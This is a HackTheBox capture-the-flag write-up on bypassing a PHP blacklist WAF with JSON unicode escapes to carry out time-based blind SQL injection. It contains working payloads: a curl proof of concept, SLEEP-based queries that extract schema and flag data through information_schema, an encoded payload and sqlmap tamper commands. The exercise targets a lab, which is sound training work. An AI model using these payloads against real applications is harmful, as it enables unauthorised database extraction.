wafwaf HackTheBox Write-up

d4rkstat1c

--

This challenge is oriented around WAF/web-application firewall bypass techniques to reach a ultimate goal.

0x01: Digesting the leaked source.

You may take immediate notice that when you send a GET request to the web-root of the application the response contains the source code of a PHP script (index.php) revealing some interesting information about the challenge:

index.php source

It seems the challenge starts off by turning off all error-reporting via error_reporting(0). The challenge also contains a class with two methods waf and query. The web-application instantiates a db object of the db class. Seeing that the query method does not contain prepared statements and what is ultimately passed to the query method is user/client controlled input supplied via POST data, it seems to be a WAF bypass to achieve SQL injection challenge. The waf method contains a regular expression blacklist filter, this is obviously the WAF of the web-application, if the POST data does not contain any blacklisted characters json_decode is called on the the POST data. json_decode will then return an object ($obj) containing key/value pairs. The user property’s value within $obj ($obj->user) will be formatted into the query string passed to the parent::query method via vsprintf. I was quite confident the parent::query method was a wrapper for mysql::query within config.php. I suspected config.php sets up the username and password for a arbitrary database and connected to said database to access data from within it.

0x02: Unicode your way to victory.

The json_decode function has a interesting feature if you provide a unicode encoded string within the json data, json_decode will decode this data similarly to how python3 parses bytes. PHP however will not decode unicode encoded data. This means we should theoretically be able to provide the following payload to bypass the WAF:

{“user”: “<unicode_encoded_data>”}

POC:

curl -X POST http://<wafwaf_IP>:<PORT>/ -d ‘{“user”: “\u0028\u002a\u003c\u003d\u003e\u007c\u0027\u0026\u002d\u0040”}’

I discovered the SQL injection vulnerability can only be exploited via Time-Based Blind SQL-injection. I managed to discover the following entry-point payload through trial and error:

{“user”: “x’ <injected_query>AND ‘x’=’x”}

Time-based Blind SQL-injection payload:

{“user”: “x’ AND (SELECT 1 FROM (SELECT(SLEEP(5)))x) AND ‘x’=’x”}

We do not know the target database before-hand so we will have to exfiltrate the flag database name using time-based Blind SQL-injection. I used a time-based IF conditional statement payload to exfiltrate/brute-force data. For example:

{“user”: “x’ AND (SELECT 1 FROM (SELECT((IF( <condition> ,SLEEP(5),0))))x) AND ‘x’=’x”}

This payload will cause a delay of execution for 5 seconds on behalf of the server if the condition is true, otherwise it will respond within a normal time range (you will have to adjust the time according to the strength of your connection to the CTF server).

Payload to exfiltrate the flag database name:

{“user”: “x’ AND (SELECT 1 FROM (SELECT((IF( ( SELECT substr(table_schema, <pos>, 1) FROM information_schema.tables WHERE table_schema LIKE ‘%db%’ AND table_name LIKE ‘%flag%’ LIMIT 1 ) = ‘<ch>’ ,SLEEP(5),0))))x) AND ‘x’=’x”}

After unicode encoding:

{“user”: “\u0078\u0027 \u0041\u004e\u0044 \u0028\u0053\u0045\u004c\u0045\u0043\u0054 \u0031 \u0046\u0052\u004f\u004d \u0028\u0053\u0045\u004c\u0045\u0043\u0054\u0028\u0028\u0049\u0046\u0028 \u0028 \u0053\u0045\u004c\u0045\u0043\u0054 \u0073\u0075\u0062\u0073\u0074\u0072\u0028\u0074\u0061\u0062\u006c\u0065\u005f\u0073\u0063\u0068\u0065\u006d\u0061\u002c \u0031\u002c \u0031\u0029 \u0046\u0052\u004f\u004d \u0069\u006e\u0066\u006f\u0072\u006d\u0061\u0074\u0069\u006f\u006e\u005f\u0073\u0063\u0068\u0065\u006d\u0061\u002e\u0074\u0061\u0062\u006c\u0065\u0073 \u0057\u0048\u0045\u0052\u0045 \u0074\u0061\u0062\u006c\u0065\u005f\u0073\u0063\u0068\u0065\u006d\u0061 \u004c\u0049\u004b\u0045 \u0027\u0025\u0064\u0062\u0025\u0027 \u0041\u004e\u0044 \u0074\u0061\u0062\u006c\u0065\u005f\u006e\u0061\u006d\u0065 \u004c\u0049\u004b\u0045 \u0027\u0025\u0066\u006c\u0061\u0067\u0025\u0027 \u004c\u0049\u004d\u0049\u0054 \u0031 \u0029 \u003d \u0027\u0064\u0027 \u002c\u0053\u004c\u0045\u0045\u0050\u0028\u0035\u0029\u002c\u0030\u0029\u0029\u0029\u0029\u0078\u0029 \u0041\u004e\u0044 \u0027\u0078\u0027\u003d\u0027\u0078”}

I won’t unicode encode each individual payload, to save space I will provide the clear text payloads:

Exfiltrate flag table from flag database:

{“user”: “x’ AND (SELECT 1 FROM (SELECT((IF(( SELECT substr(table_name, <pos>, 1) FROM information_schema.tables WHERE table_schema = <flag_db> AND table_name LIKE ‘%flag%’ LIMIT 1 ) = ‘<ch>’ ,SLEEP(5),0))))x) AND ‘x’=’x”}

Exfiltrate flag column from flag table:

{“user”: “x’ AND (SELECT 1 FROM (SELECT((IF(( SELECT substr(column_name, <pos>, 1) FROM information_schema.columns WHERE table_schema =<flag_db> AND table_name = <flag_table> AND column_name LIKE ‘%flag%’ LIMIT 1 ) = ‘<ch>’ ,SLEEP(5),0))))x) AND ‘x’=’x”}

Finally exfiltrate flag row from flag column:

{“user”: “x’ AND (SELECT 1 FROM (SELECT((IF(( SELECT ASCII(substr(<flag_column>, <pos>, 1)) FROM <flag_db>.<flag_table>) = ‘<ch>’,SLEEP(5),0))))x) AND ‘x’=’x”}

I coded a multi-threaded python3 script to automate the process of unicode encoding, json payload generation and sending the payload:

exploit.py

Alternatively you can exploit this challenge using SQLMAP with the tamper parameter set to charunicodeescape:

sqlmap -r req.txt — tamper=charunicodeescape -p user -t 10 — dbs

sqlmap -r req.txt — tamper=charunicodeescape -p user -t 10 -D <flag_db> — tables

sqlmap -r req.txt — tamper=charunicodeescape -p user -t 10 -D <flag_db> -T <flag_table> — columns

sqlmap -r req.txt — tamper=charunicodeescape -p user -t 10 -D <flag_db> -T <flag_table>-C <flag_column> — dump

--

--

No responses yet

Write a response